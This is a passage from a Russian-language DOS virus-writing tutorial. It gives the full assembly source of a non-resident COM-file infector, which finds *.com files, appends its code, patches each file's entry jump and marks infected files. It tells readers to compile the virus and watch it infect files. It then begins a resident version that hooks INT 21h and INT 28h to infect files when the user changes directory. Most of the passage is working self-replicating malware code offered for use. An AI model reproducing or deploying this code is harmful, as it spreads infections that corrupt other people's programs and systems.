  755.            int 21h
  756.               jc close               ;При ошибке -
  757.                                   ;закроем файл
  758.  
  759.               mov ah,40h             ;Запишем в  файл
  760.               mov cx,3               ;первые три бай-
  761.               lea dx,new_bytes       ;та ( команду
  762.               int 21h                ;перехода ) ...
  763.  
  764.    close:     mov ah,3eh             ;Закроем   зара-
  765.                int 21h                ;женный файл ...
  766.  
  767.    При записи первых трех байт в  файл помещается ко-
  768.    манда перехода на код вируса. Все остальное  можно
  769.    понять из приведенных комментариев .
  770.  
  771.  
  772.                 1.14 Восстанавливаем DTA
  773.  
  774.    Для корректной работы зараженной программы восста-
  775.    новим   ее DTA .Напомним,что вирус " прячет " ее в
  776.    массиве " old_dta ".
  777.    Поэтому :
  778.  
  779.    restore_dta:
  780.            mov cx,80h             ;Размер DTA -
  781.                                      ;128 байт ...
  782.            mov bx,80h             ;Смещение к DTA
  783.            lea si,old_dta         ;Адрес массива
  784.    dta_fresh:
  785.            mov al,ds:[si]         ;Читаем из  мас-
  786.                                      ;сива "old_dta"
  787.            mov byte ptr cs:[bx],al;байт и  перено-
  788.                                      ;сим его в DTA
  789.            inc bx                 ;К новому байту
  790.            inc si                 ;
  791.            loop dta_fresh         ;Цикл 128 раз
  792.  
  793.  
  794.       1.15 Передаем управление зараженной программе
  795.  
  796.    Работа вируса окончена . Теперь он должен   отдать
  797.    управление программе - носителю.Как мы  выяснили,
  798.    для этой цели достаточно выполнить переход на  ад-
  799.    рес CS : 100h  . Поэтому занесем в стек содержимое
  800.    CS,и затем - число 100h.А после этого выполним ко-
  801.    манду RET FAR .Она  снимет  с вершины стека  запи-
  802.    санные туда значения и передаст управление по  оп-
  803.    ределяемому ими адресу :
  804.  
  805.            pop ds                 ;Восстановим
  806.                                      ;испорченный DS
  807.            push cs                ;Занесем в стек
  808.                                      ;регистр CS
  809.            db 0b8h                ;Код команды
  810.    jump:      dw 100h                ;mov ax,100h
  811.            push ax                ;Занесем в стек
  812.                                      ;число 100h
  813.            retf                   ;Передача управ-
  814.                                      ;ления на задан-
  815.                                      ;ный адрес ...
  816.  
  817.  
  818.          1.16 Область данных вирусной программы
  819.  
  820.    Настало время привести данные, которыми  оперирует
  821.    наш вирус . Вот они :
  822.  
  823.    old_bytes db   0e9h               ;Исходные три
  824.                                      ;байта  заражен-
  825.              dw   vir_len + 0dh      ;ной программы
  826.    old_dta   db   128 dup (0)        ;Здесь вирус
  827.                                      ;хранит исходную
  828.                                      ;DTA программы
  829.    maska     db   '*.com',0          ;Маска для поис-
  830.                                      ;ка файлов ...
  831.    fn        db   12 dup (' '),0     ;Сюда помещается
  832.                                      ;имя файла -жер-
  833.                                      ;твы ...
  834.    new_bytes db   0e9h               ;Первые три бай-
  835.               db   00h                ;та вируса в
  836.               db   00h            ;файле ...
  837.  
  838.    last      db   0                  ;Ячейка для пос-
  839.                                      ;леднего байта
  840.              db   '7'                ;Последний байт
  841.                                      ;вируса в файле
  842.  
  843.    Как видим, данных не так уж и много !
  844.  
  845.  
  846.           1.17 Завершаем запускающую программу
  847.  
  848.    Для завершения запускающей вирус программы мы  ис-
  849.    пользуем  стандартную функцию DOS, а именно - 4Ch :
  850.  
  851.    vir_len   equ   $-vir             ;Длина вирусного
  852.                                      ;кода ...
  853.  
  854.    prg_end:   mov ah,4ch             ;Завершение  за-
  855.               INT 21H                ;пускающей прог-
  856.                                      ;раммы ...
  857.  
  858.              db '7'                  ;Без этого  сим-
  859.                                      ;вола вирус  за-
  860.                                      ;разил бы сам
  861.                                      ;себя ...
  862.  
  863.    prg ends                          ;Все ASM - прог-
  864.    end start                         ;раммы  заканчи-
  865.                                      ;ваются примерно
  866.                                      ;так .
  867.  
  868.    Вы, наверное, заметили,что в запускающей программе
  869.    при восстановлении первых трех байт по адресу CS :
  870.    100h записывается команда перехода на метку " prg_
  871.     end ".После передачи управления на эту метку вирус
  872.    отдает управление  MS DOS . Если бы в самом начале
  873.    нашего вируса не было команды "jmp vir" (см.1.6),
  874.    то запись  по адресу CS : 100h  перехода  на метку
  875.    " prg_end " разрушила бы команды
  876.  
  877.               push ax
  878.               mov ax,ds
  879.  
  880.    ( см.1.6 ).В результате в заражаемый файл попал бы
  881.    вирусный  код с испорченными первыми байтами . Это
  882.    наверняка привело бы к полной  неработоспособности
  883.    файла - жертвы .В нашем же случае будет  разрушена
  884.    лишь команда  " jmp vir " .Поскольку в файл она не
  885.    записывается, нас это не интересует .
  886.  
  887.  
  888.          1.18 Текст нерезидентного COM - вируса
  889.  
  890.    Как видите,  вирус написан,  и пора  привести  его
  891.    текст.Этим мы сейчас и займемся :
  892.  
  893.    ; ________________________________________________
  894.    ;|                                                |
  895.    ;| Non - TSR COM virus                            |
  896.    ;| Especially for my readers !                    |
  897.    ;|________________________________________________|
  898.  
  899.    prg segment
  900.       assume cs:prg,ds:prg,es:prg,ss:prg
  901.          org 100h
  902.  
  903.    start:     jmp vir                ;Передача управ-
  904.                                      ;ления вирусному
  905.                                      ;коду ...
  906.            org 110h
  907.  
  908.    vir:       push ds                ;Сохраним DS ...
  909.                                      ;Корректируем
  910.               mov ax,ds              ;регистр DS  ...
  911.               db 05h                 ;Код команды
  912.    add_to_ds: dw 0                   ; " ADD AX,00h "
  913.            mov ds,ax              ;AX -> DS    ...
  914.  
  915.    fresh_bytes:
  916.            mov al,old_bytes
  917.            mov cs:[100h],al
  918.            mov al,old_bytes+1
  919.            mov cs:[101h],al
  920.            mov al,old_bytes+2
  921.            mov cs:[102h],al
  922.  
  923.            mov cx,80h             ;Размер DTA -
  924.                                      ;128 байт ...
  925.            mov bx,80h             ;Смещение к DTA
  926.            lea si,old_dta         ;Адрес массива
  927.    save_dta:
  928.            mov al,byte ptr cs:[bx];Читаем из DTA
  929.                                      ;байт и  перено-
  930.            mov ds:[si],al         ;сим его в мас-
  931.                                      ;сив ...
  932.            inc bx                 ;К новому байту
  933.            inc si                 ;
  934.            loop save_dta          ;Цикл 128 раз
  935.  
  936.    find_first:
  937.            mov ah,4eh             ;Поиск первого
  938.                                      ;файла ...
  939.            mov cx,00100110b       ;archive, system
  940.                                      ;hidden
  941.            lea dx,maska           ;Маска для поис-
  942.                                      ;ка
  943.            int 21h
  944.            jnc r_3                ;Нашли !
  945.            jmp restore_dta        ;Ошибка !
  946.  
  947.    find_next: mov ah,3eh             ;Закроем  непод-
  948.            int 21h                ;ходящий файл...
  949.            jnc r_2
  950.            jmp restore_dta        ;Файл нельзя за-
  951.                                      ;крыть !
  952.  
  953.    r_2:       mov ah,4fh             ;И найдем сле-
  954.            int 21h                ;дующий ...
  955.            jnc r_3                ;Файл найден !
  956.            jmp restore_dta        ;Ошибка !
  957.  
  958.    r_3:       mov cx,12              ;Сотрем в буфере
  959.            lea si,fn              ;"fn" имя  пред-
  960.    destroy_name:                     ;ыдущего файла
  961.            mov byte ptr [si],0    ;
  962.            inc si                 ;
  963.            loop destroy_name      ;Цикл 12 раз ...
  964.  
  965.            xor si,si          ;И запишем в бу-
  966.    copy_name: mov al,byte ptr cs:[si+9eh]
  967.                                      ;фер имя только
  968.            cmp al,0               ;что найденного
  969.                                      ;файла ...
  970.            je open                ;В конце имени в
  971.            mov byte ptr ds:fn[si],al
  972.                                      ;DTA всегда сто-
  973.               inc si                 ;ит ноль, его мы
  974.            jmp copy_name          ;и хотим достичь
  975.  
  976.    open:      mov ax,3d02h           ;Открыть файл
  977.                                      ;для чтения и
  978.                                      ;записи ...
  979.            lea dx,fn              ;Имя файла ...
  980.            int 21h                ;Функция DOS
  981.            jnc save_bytes
  982.            jmp restore_dta        ;Файл не откры-
  983.                                      ;вается !
  984.  
  985.    save_bytes:                       ;Считаем три
  986.                                      ;байта :
  987.            mov bx,ax              ;Сохраним дес-
  988.                                      ;криптор в BX
  989.            mov ah,3fh             ;Номер функции
  990.            mov cx,3               ;Сколько байт ?
  991.            lea dx,old_bytes       ;Буфер для счи-
  992.                                      ;тываемых данных
  993.            int 21h
  994.               jnc found_size
  995.            jmp close              ;Ошибка !
  996.  
  997.    found_size:
  998.            mov ax,cs:[09ah]       ;Найдем размер
  999.                                      ;файла
  1000.    count_size:mov si,ax
  1001.            cmp ax,64000           ;Файл длиннее
  1002.                                      ;64000 байт ?
  1003.            jna toto               ;Нет ...
  1004.            jmp find_next          ;Да - тогда он
  1005.                                      ;нам не подходит
  1006.    toto:      test ax,000fh          ;Округлим размер
  1007.            jz krat_16             ;до целого числа
  1008.            or ax,000fh            ;параграфов    в
  1009.            inc ax                 ;большую сторону
  1010.    krat_16:   mov di,ax              ;И  запишем  ок-
  1011.                                      ;ругленное  зна-
  1012.                                      ;чение в DI ...
  1013.                                      ;Расчитаем  сме-
  1014.                                      ;щение для пере-
  1015.                                      ;хода на код ви-
  1016.                                      ;руса ...
  1017.            sub ax,3               ;Сама    команда
  1018.                                      ;перехода  зани-
  1019.                                      ;мает три байта!
  1020.            mov byte ptr new_bytes[1],al
  1021.                                      ;Смещение найде-
  1022.            mov byte ptr new_bytes[2],ah
  1023.                                      ;но !
  1024.            mov ax,di              ;Сколько   пара-
  1025.            mov cl,4               ;графов содержит
  1026.            shr ax,cl              ;заражаемая про-
  1027.                                   ;грамма ?
  1028.               dec ax                 ;Учитываем дейс-
  1029.                                      ;твие директивы
  1030.                                      ;ORG 110h ...
  1031.            mov byte ptr add_to_ds,al
  1032.                                      ;Корректирующее
  1033.            mov byte ptr add_to_ds+1,ah
  1034.                                      ;число найдено !
  1035.  
  1036.            mov ax,4200h           ;Установим ука-
  1037.            xor cx,cx              ;затель на пос-
  1038.            dec si                 ;ледний байт
  1039.            mov dx,si              ;файла ...
  1040.            int 21h
  1041.            jnc read_last
  1042.            jmp close              ;Ошибка !
  1043.  
  1044.    read_last:                        ;И считаем этот
  1045.            mov ah,3fh             ;байт в ячейку
  1046.               mov cx,1               ; " last " ...
  1047.            lea dx,last
  1048.            int 21h
  1049.            jc close               ;Ошибка !
  1050.  
  1051.            cmp last,'7'           ;" last " =" 7 "
  1052.            jne write_vir          ;Нет - дальше
  1053.            jmp find_next          ;Да- поищем дру-
  1054.                                      ;гой файл ...
  1055.  
  1056.    write_vir: mov ax,4200h           ;Установим  ука-
  1057.            xor cx,cx              ;затель на конец
  1058.            mov dx,di              ;файла ...
  1059.            int 21h
  1060.               jc close               ;При ошибке -
  1061.                                   ;закроем файл
  1062.               mov ah,40h             ;Запишем  в файл
  1063.               mov cx,vir_len         ;код вируса дли-
  1064.               lea dx,vir             ;ной vir_len
  1065.               int 21h
  1066.                jc close               ;При ошибке -
  1067.                                   ;закроем файл
  1068.    write_bytes:
  1069.            mov ax,4200h           ;Установим  ука-
  1070.            xor cx,cx              ;затель на нача-
  1071.            xor dx,dx              ;ло файла
  1072.            int 21h
  1073.            jc close               ;При ошибке -
  1074.                                   ;закроем файл
  1075.  
  1076.               mov ah,40h             ;Запишем в  файл
  1077.               mov cx,3               ;первые три бай-
  1078.               lea dx,new_bytes       ;та ( команду
  1079.               int 21h                ;перехода ) ...
  1080.  
  1081.    close:     mov ah,3eh             ;Закроем   зара-
  1082.                int 21h                ;женный файл ...
  1083.  
  1084.    restore_dta:
  1085.            mov cx,80h             ;Размер DTA -
  1086.                                      ;128 байт ...
  1087.            mov bx,80h             ;Смещение к DTA
  1088.            lea si,old_dta         ;Адрес массива
  1089.    dta_fresh:
  1090.            mov al,ds:[si]         ;Читаем из  мас-
  1091.                                      ;сива "old_dta"
  1092.            mov byte ptr cs:[bx],al;байт и  перено-
  1093.                                      ;сим его в DTA
  1094.            inc bx                 ;К новому байту
  1095.            inc si                 ;
  1096.            loop dta_fresh         ;Цикл 128 раз
  1097.  
  1098.            pop ds                 ;Восстановим
  1099.                                      ;испорченный DS
  1100.            push cs                ;Занесем в стек
  1101.                                      ;регистр CS
  1102.            db 0b8h                ;Код команды
  1103.    jump:      dw 100h                ;mov ax,100h
  1104.            push ax                ;Занесем в стек
  1105.                                      ;число 100h
  1106.            retf                   ;Передача управ-
  1107.                                      ;ления на задан-
  1108.                                      ;ный адрес ...
  1109.  
  1110.    ;\*Data area ...
  1111.  
  1112.    old_bytes db   0e9h               ;Исходные три
  1113.                                      ;байта  заражен-
  1114.              dw   vir_len + 0dh      ;ной программы
  1115.  
  1116.    old_dta   db   128 dup (0)        ;Здесь вирус
  1117.                                      ;хранит исходную
  1118.                                      ;DTA программы
  1119.    maska     db   '*.com',0          ;Маска для поис-
  1120.                                      ;ка файлов ...
  1121.    fn        db   12 dup (' '),0     ;Сюда помещается
  1122.                                      ;имя файла -жер-
  1123.                                      ;твы ...
  1124.    new_bytes db   0e9h               ;Первые три бай-
  1125.               db   00h                ;та вируса в
  1126.               db   00h                ;файле ...
  1127.  
  1128.    last      db   0                  ;Ячейка для пос-
  1129.                                      ;леднего байта
  1130.              db   '7'                ;Последний байт
  1131.                                      ;вируса в файле
  1132.  
  1133.    vir_len   equ   $-vir             ;Длина вирусного
  1134.                                      ;кода ...
  1135.  
  1136.    prg_end:   mov ah,4ch             ;Завершение  за-
  1137.               INT 21H                ;пускающей прог-
  1138.                                      ;раммы ...
  1139.  
  1140.              db '7'                  ;Без этого  сим-
  1141.                                      ;вола вирус  за-
  1142.                                      ;разил бы сам
  1143.                                      ;себя ...
  1144.  
  1145.    prg ends                          ;Все ASM - прог-
  1146.    end start                         ;раммы  заканчи-
  1147.                                      ;ваются примерно
  1148.                                      ;так .
  1149.  
  1150.    Если вы когда нибудь читали [ 3 ], только что при-
  1151.    веденная программа покажется вам  знакомой. Строго
  1152.    говоря, наш  вирус  написан " по мотивам "  этой в
  1153.    общем совсем неплохой книги. " Книжный " вирус су-
  1154.    щественно переработан,исправлены замеченные ошибки
  1155.    и глюки.Несмотря на это поступок автора трудно на-
  1156.    звать  плагиатом. Просто  затронутая в работе П.Л.
  1157.    Хижняка тема получила новое развитие.
  1158.  
  1159.  
  1160.                     1.19 Комментарии
  1161.  
  1162.    Вирус,который мы разработали, отыскивает программы
  1163.    для заражения лишь в том каталоге, из которого был
  1164.    запущен зараженный файл .Понятно,что в этом случае
  1165.    большой заразностью он не обладает.Но во - первых,
  1166.    мы идем от простого к  сложному,  и следующие наши
  1167.    программы будут более эффективными .А во - вторых,
  1168.    эта разработка лишь преследовала цель показать ос-
  1169.    новные приемы изготовления вирусных программ.Кроме
  1170.    того, чрезмерная  сложность наверняка отпугнула бы
  1171.    читателя .
  1172.  
  1173.  
  1174.                   1.20 Испытание вируса
  1175.  
  1176.    Для проверки в действии разработанной нами програ-
  1177.    ммы  просто скопируйте ее в отдельный файл ( коне-
  1178.    чно, только если у вас есть дискета с текстом кни-
  1179.    ги ).Далее скопируйте в каталог с вирусом несколь-
  1180.    ко COM - файлов.Откомпилируйте  исходный  текст  и
  1181.    запустите полученный COM - файл,содержащий в  себе
  1182.    вирусный код.Проблем с компиляцией быть не должно,
  1183.    так как  программа  тщательно  тестировалась . По-
  1184.    наблюдайте,  как вирус  заражает файлы .Попробуйте
  1185.    запустить зараженную программу под управлением от-
  1186.    ладчика и в автоматическом режиме.И, наконец, про-
  1187.    верьте зараженную программу с помощью DOCTOR WEB .
  1188.  
  1189.  
  1190.            ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
  1191.                    ВИРУСНОЙ ПРОГРАММЫ
  1192.  
  1193.  
  1194.          2.1 Понятие резидентного ( TSR ) вируса
  1195.  
  1196.    Резидентными называют вирусы, которые после запус-
  1197.    ка зараженной программы помещают свой код в опера-
  1198.    тивную память  . Этот  код "занимается" заражением
  1199.    файлов и находится в памяти в течение всего сеанса
  1200.    работы .
  1201.    Резидентные вирусы обычно намного заразнее нерези-
  1202.    дентных и распространяются быстрее .Однако создать
  1203.    такой вирус не так просто . Кроме того,резидентные
  1204.    вирусные программы подвержены  всевозможным  сбоям
  1205.    и могут конфликтовать с установленным на компьюте-
  1206.    ре  программным обеспечением . Но несмотря  на все
  1207.    трудности,  возникающие при разработке резидентных
  1208.    вирусов,  их было создано великое множество .
  1209.    В предлагаемой вниманию читателей главе  рассказы-
  1210.    вается о приемах создания TSR - вирусов,  поражаю-
  1211.    щих COM - файлы .Кроме того,  освещаются  основные
  1212.    проблемы, с которыми приходится встречаться при их
  1213.    разработке .
  1214.  
  1215.  
  1216.       2.2 Несколько слов о резидентных программах
  1217.  
  1218.    Вы,наверное, знаете, как строятся резидентные про-
  1219.    граммы .В этом  пункте мы немного поговорим об  их
  1220.    организации и функционировании .
  1221.    Резидентными называют программы,которые после сво-
  1222.    его  завершения остаются в памяти и активизируются
  1223.    при наступлении  каких - либо событий  в  вычисли-
  1224.    тельной системе .Такими событиями могут быть, нап-
  1225.    ример, нажатие " горячей " комбинации клавиш,  вы-
  1226.    полнение некоторых операций с дисками и т. п .Но в
  1227.    любом  случае  программа  получает  управление при
  1228.    тех или иных условиях .
  1229.    Все резидентные программы строятся одинаково,  или
  1230.    почти одинаково, и состоят из двух секций - секции
  1231.    инициализации и собственно резидентной части.Рези-
  1232.    дентная часть, как правило, состоит из  одной  или
  1233.    нескольких подпрограмм - обработчиков прерываний и
  1234.    находится в памяти во время сеанса работы  компью-
  1235.    тера .Такие подпрограммы могут полностью подменять
  1236.    собой системные обработчики или только служить  их
  1237.    дополнением.Естественно,для того,чтобы резидентная
  1238.    часть получила управление, необходимо заменить со-
  1239.    ответствующие вектора в таблице векторов  прерыва-
  1240.    ний на точки входа в заново установленные обработ-
  1241.    чики.Эту функцию и выполняет секция инициализации,
  1242.    которая всегда выполняется  при запуске  программы
  1243.    первой .
  1244.    После перехвата прерываний, которые должна обраба-
  1245.    тывать резидентная часть, секция инициализации за-
  1246.    вершает программу, используя для этой цели  преры-
  1247.    вание или функцию резидентного завершения MS DOS .
  1248.    В результате резидентная часть остается в памяти и
  1249.    активизируется в случаях, предусмотренных  автором
  1250.    программы . Часть инициализации в процессе  работы
  1251.    больше не потребуется,поэтому оставлять ее в памя-
  1252.    ти  бессмысленно,  и она " затирается "  MS DOS  в
  1253.    случае необходимости .
  1254.  
  1255.  
  1256.             2.3 Алгоритм работы резидентного
  1257.                        COM - вируса
  1258.  
  1259.    Рассмотрим один из возможных алгоритмов работы ре-
  1260.    зидентного COM - вируса .
  1261.    По своей сути резидентный вирус отличается от обы-
  1262.    чной резидентной программы только тем, что он раз-
  1263.    множается сам по себе, независимо от желания поль-
  1264.    зователя.Значит,построить его можно по той же схе-
  1265.    ме, по которой пишутся обычные TSR - программы .Но
  1266.    сначала выясним,что должны делать секция инициали-
  1267.    зации вируса и его резидентная часть .
  1268.    Итак :
  1269.    Секция инициализации выполняет следующие действия:
  1270.  
  1271.    1. Получает управление при запуске зараженной про-
  1272.    граммы .
  1273.  
  1274.    2. Проверяет, установлена ли в память  резидентная
  1275.    часть вируса .
  1276.  
  1277.    3. Восстанавливает в  памяти компьютера   исходные
  1278.    три  байтa этой программы .
  1279.  
  1280.    4. Если резидентная часть не установлена,выполняю-
  1281.    тся следующие действия :
  1282.  
  1283.       a.) Отыскивается свободный блок памяти достато-
  1284.           чного для размещения вируса размера .
  1285.  
  1286.       б.) Код вируса копируется в найденный блок  па-
  1287.           мяти .
  1288.  
  1289.       в.) В таблице  векторов прерываний соответству-
  1290.           ющие вектора заменяются точками входа в ви-
  1291.           русные обработчики .
  1292.  
  1293.       г.) Выполняется  переход  на начало  зараженной
  1294.           программы ( на адрес CS : 100h ).После это-
  1295.           го программа выполняется, как обычно .
  1296.  
  1297.    В том случае,  если резидентная часть  вируса  уже
  1298.    находится в памяти, он просто передает  управление
  1299.    зараженной программе .
  1300.  
  1301.    Резидентная часть выполняет следующие действия :
  1302.  
  1303.    1. Анализирует  все вызовы  системного  прерывания
  1304.    INT 21h с целью выявить переход оператора в  новый
  1305.    каталог или смену текущего диска .
  1306.  
  1307.    2. Если обнаружится смена текущего диска или ката-
  1308.    лога, резидентная часть должна :
  1309.  
  1310.       а.) Сохранить исходное состояние вычислительной
  1311.           системы .
  1312.  
  1313.       б.) Найти на диске подходящий COM - файл .
  1314.  
  1315.       в.) Записать тело вируса в конец этого файла .
  1316.  
  1317.       г.) Заменить  первые три байта  заражаемой про-
  1318.           граммы командой  перехода на  вирусный код,
  1319.           сохранив предварительно исходные  три байта
  1320.           в своей области данных.
  1321.  
  1322.       д.) Восстановить исходное состояние  вычислите-
  1323.           льной системы и передать ей управление .
  1324.  
  1325.    Если оператор не будет менять текущий католог  или
  1326.    диск, вирус, очевидно, ничего заразить не сможет .
  1327.  
  1328.    Как вы уже заметили, заражением файлов  занимается
  1329.    исключительно резидентная часть ! Секция инициали-
  1330.    зации нужна  только для инсталляции  вируса в  па-
  1331.    мять .Кроме того, в отличие от обычной резидентной
  1332.    программы, в вирусе  эта секция записывается в па-
  1333.    мять вместе с  резидентной  частью . Иначе при за-
  1334.    писи  ее в заражаемый файл возникли  бы  серьезные
  1335.    трудности .
  1336.    Из рассказанного в этом пункте легко  сделать  вы-
  1337.    вод о том, насколько резидентный вирус должен быть
  1338.    устроен сложнее обычного .Вместе с тем,  в его на-
  1339.    писании  нет ничего  магического, и  вы без  труда
  1340.    разберетесь в следующей программе .
  1341.  
  1342.  
  1343.                  2.4 Заголовок вируса
  1344.  
  1345.    Для разработки вируса мы, как и раньше, будем  ис-
  1346.    пользовать COM формат .
  1347.    Естественно,в резидентном вирусе будут использова-
  1348.    ны  некоторые блоки, созданные  нами в  предыдущей
  1349.    главе .Поэтому на их работе мы останавливаться  не
  1350.    будем, а вместо этого сделаем акцент на новых при-
  1351.    емах, реализованных в программе .
  1352.    Итак, начнем :
  1353.  
  1354.    prg segment
  1355.       assume cs:prg,ds:prg,es:prg,ss:prg
  1356.          org 100h
  1357.  
  1358.    start:     jmp vir                ;Передача управ-
  1359.                                      ;ления вирусному
  1360.                                      ;коду ...
  1361.            org 110h
  1362.  
  1363.    Приведенные  команды и директивы выполняют  те  же
  1364.    самые функции,  что и аналогичные,  использованные
  1365.    нами при создании нерезидентной вирусной  програм-
  1366.    мы .
  1367.  
  1368.  
  1369.                 2.5 Вирус начинает работу
  1370.  
  1371.    Несколько  забегая вперед, отметим, что наш  вирус
  1372.    будет работать так :
  1373.  
  1374.       1. Обработчик  прерывания  Int 21h  отслеживает
  1375.          смену оператором текущего каталога или  дис-
  1376.          ка. Если  пользователь действительно  сменил
  1377.          диск или каталог,то переменная TG_INFECT ус-
  1378.          танавливается в единицу.
  1379.       2. Обработчик прерывания Int 28h вызывается DOS
  1380.          всякий раз, когда можно, не боясь зависаний,
  1381.          обращаться к системным  функциям, работающим
  1382.          с файлами. Поэтому естественно возложить  на
  1383.          него задачу поиска и заражения файлов.Исходя
  1384.          из этого процедура обработки Int 28h  прове-
  1385.          ряет  значение  TG_INFECT, и  если оно равно
  1386.          единице, выполняет поиск и заражение файлов.
  1387.  
  1388.    --------------------------------------------------
  1389.  
  1390.    После  перехода на метку " vir " начинается испол-
  1391.    нение вирусной программы .Поэтому продолжим :
  1392.    ( Собственно это и есть начало обработчика  преры-
  1393.    вания Int 28h )
  1394.  
  1395.    vir:       db 0ebh                ;90h - Для рези-
  1396.               db push_len            ;90h   дентной
  1397.                                      ;      работы .
  1398.  
  1399.               pushf                  ;Запишем флаги
  1400.                                      ;в стек ...
  1401.               cmp cs:tg_infect-110h,1;Активизиро-
  1402.                                      ;ваться ?
  1403.               je cs:vir_2            ;Да ...
  1404.               call dword ptr cs:old_28h - 110h
  1405.                                      ;Нет - вызовем
  1406.                                      ;старый обработ-
  1407.                                      ;чик INT 28h,
  1408.                                      ;чтобы не топить
  1409.                                      ;другие TSR ...
  1410.               iret
  1411.  
  1412.    vir_2:     popf                   ;Переключаем
  1413.                                      ;стек для TSR -
  1414.                                      ;исполнения на
  1415.               mov cs:ss_save-110h,ss ;себя ...
  1416.               mov cs:sp_save-110h,sp
  1417.               mov cs:help_word - 110h,cs
  1418.               mov ss,cs:help_word - 110h
  1419.               mov sp,to_newstack + 136
  1420.               mov cs:tg_infect - 110h,0
  1421.               pushf                  ;Вызываем старый
  1422.               db 9ah                 ;обработчик
  1423.    old_28h    dw 0                   ;INT 28h ...
  1424.    old_28h_2  dw 0
  1425.  
  1426.    Обратите внимание на команду,записанную в машинном
  1427.    коде сразу за меткой " vir " .Сейчас мы  попробуем
  1428.    разобраться, зачем она потребовалась .
  1429.    Как вы знаете, наш вирус должен быть резидентным и
  1430.    состоять из двух частей .При этом секция инициали-
  1431.    зации исполняется только в транзитном ( нерезиден-
  1432.    тном ) режиме,а резидентная часть - только в рези-
  1433.    дентном.
  1434.  
  1435.    Команда
  1436.               db 0ebh                ;90h - Для рези-
  1437.               db push_len            ;90h   дентной
  1438.                                      ;      работы .
  1439.  
  1440.    играет  роль " переключателя " между транзитным  и
  1441.    резидентным кодами .При заражении вирус записывает
  1442.    в файл команду перехода, которая при запуске зара-
  1443.    женного  файла передает управление на " push_len "
  1444.    байт вперед,  где как раз и начинается секция ини-
  1445.    циализации .Если же попытаться выполнить эту кома-
  1446.    нду  в резидентном режиме,  т. е. когда код вируса
  1447.    получил управление, находясь в памяти,это приведет
  1448.    к зависанию компьютера .Чтобы такого не происходи-
  1449.    ло,  секция инициализации при установке  вирусного
  1450.    кода  в память записывает сразу за  меткой " vir "
  1451.    две  команды " NOP ",  или код : 9090h .
  1452.    Все приведенные далее команды относятся к резиден-
  1453.    тной части .После записи флагов в стек вирус  про-
  1454.    веряет состояние переменной " tg_infect ", и  если
  1455.    она равна " 1 ", переходит к метке " vir_2 " .Если
  1456.    же " tg_infect " равна " 0 ",то вирус просто вызы-
  1457.    вает старый обработчик INT 28h и отдает управление
  1458.    прерванному процессу.Чуть позже мы рассмотрим, как
  1459.    формируется значение переменной " tg_infect "  .
  1460.    Поскольку приводимый обработчик  активно  работает
  1461.    со стеком,есть смысл предусмотреть в нем собствен-
  1462.    ный стек . Поэтому сразу за меткой " vir_2 " запи-
  1463.    шем команды, переключающие стек на специальную об-
  1464.    ласть данных вируса " newstack "  :
  1465.  
  1466.                                      ;Переключаем
  1467.                                      ;стек для TSR -
  1468.                                      ;исполнения на
  1469.               mov cs:ss_save-110h,ss ;себя ...
  1470.               mov cs:sp_save-110h,sp
  1471.               mov cs:help_word - 110h,cs
  1472.               mov ss,cs:help_word - 110h
  1473.               mov sp,to_newstack + 136
  1474.               mov cs:tg_infect - 110h,0
  1475.  
  1476.    Последней запишем команду,  сбрасывающую  " tg_in-
  1477.     fect " в ноль .Этим мы защитим вирусный код от по-
  1478.    вторного вхождения .
  1479.    Теперь необходимо вызвать  старый  обработчик  INT
  1480.    28h, иначе наш вирус будет " топить " другие рези-
  1481.    дентные программы, которые  перехватывают  это  же
  1482.    прерывание .Поэтому запишем :
  1483.  
  1484.               pushf                  ;Вызываем старый
  1485.               db 9ah                 ;обработчик
  1486.    old_28h    dw 0                   ;INT 28h ...
  1487.    old_28h_2  dw 0
  1488.  
  1489.    Обработчик здесь вызывается как дальняя процедура.
  1490.    Команда " CALL " записана в виде  машинного кода,
  1491.    а поля " old_28h " и " old_28h_2 " заполняются се-
  1492.    кцией инициализации при установке вируса в память.
  1493.  
  1494.    *
  1495.     Обратите внимание на команды переключения стека .
  1496.     Они необычны тем,что от адреса ячеек памяти " ss_
  1497.      save "," sp_save ", " tg_infect " и " help_word "
  1498.     отнимается число 110h . Дело в том, что при  ком-
  1499.     пиляции исходного текста  COM - программы  адреса
  1500.     ячеек памяти вычисляются исходя из того,  что  DS
  1501.     указывает на начало ее PSP .Кроме  того,  в самом
  1502.     начале вируса мы записали директиву " org 110h ".
  1503.     Но ведь к вышеуказанным ячейкам памяти вирус  об-
  1504.     ращается в резидентном режиме, да еще и относите-
  1505.     льно CS .А CS указывает строго на начало обработ-
  1506.     чика, а не на начало PSP, как это было при компи-
  1507.     ляции ! Поэтому относительный адрес ячеек необхо-
  1508.     димо уменьшить на 110h,  что мы и  сделали . Этот
  1509.     прием будет использован еще несколько раз при по-
  1510.     строении вирусных обработчиков прерываний,поэтому
  1511.     полезно будет понять, на чем он основан .
  1512.  
  1513.  
  1514.             2.6 Сохраняем регистры процессора
  1515.  
  1516.    В самом начале работы резидентная программа обяза-
  1517.    на сохранить значения регистров процессора,  кото-
  1518.    рые были переданы ей прерванной программой,  а при
  1519.    завершении работы - восстановить эти значения .Ес-
  1520.    ли этого не сделать,прерванная программа просто не
  1521.    сможет нормально выполняться дальше,что приведет к
  1522.    сбою вычислительного процесса . Поэтому сейчас  мы
  1523.    сохраним все регистры, используемые вирусом,в сте-
  1524.    ке :
  1525.  
  1526.               pushf                  ;Сохраним в сте-
  1527.               push ax                ;ке регистры ...
  1528.               push bx
  1529.               push cx
  1530.               push dx
  1531.               push si
  1532.               push di
  1533.               push bp
  1534.               push ds
  1535.               push es
  1536.               jmp cs:infect          ;Перейти к зара-
  1537.                                      ;жению файлов
  1538.  
  1539.    Заметим, что значения регистров записываются уже в
  1540.    область " newstack ", а не в стек прерванной прог-
  1541.    раммы .Значения SS и SP сохраняются в переменных :
  1542.    " ss_save " и " sp_save ", и поэтому в стек не за-
  1543.    носятся .Команда " jmp cs:infect " также относится
  1544.    к резидентной секции и передает управление "зараз-
  1545.     ной" части вирусного кода .
  1546.  
  1547.  
  1548.             2.7 Создаем секцию инициализации
  1549.  
  1550.    А теперь пора заняться изготовлением секции иници-
  1551.    ализации нашей программы .Поскольку эта секция ис-
  1552.    полняется при запуске зараженного файла,  выполним
  1553.    коррекцию регистра DS ( см. гл. 1,  1.6 ) :
  1554.  
  1555.               push_len equ $-vir - 2
  1556.  
  1557.               mov ax,ds              ;Корректируем DS
  1558.                                      ;для нерезидент-
  1559.                                      ;ной работы ...
  1560.               db 05h                 ;Код команды
  1561.    add_to_ds: dw 0                   ;" ADD AX,00h "
  1562.            mov ds,ax
  1563.  
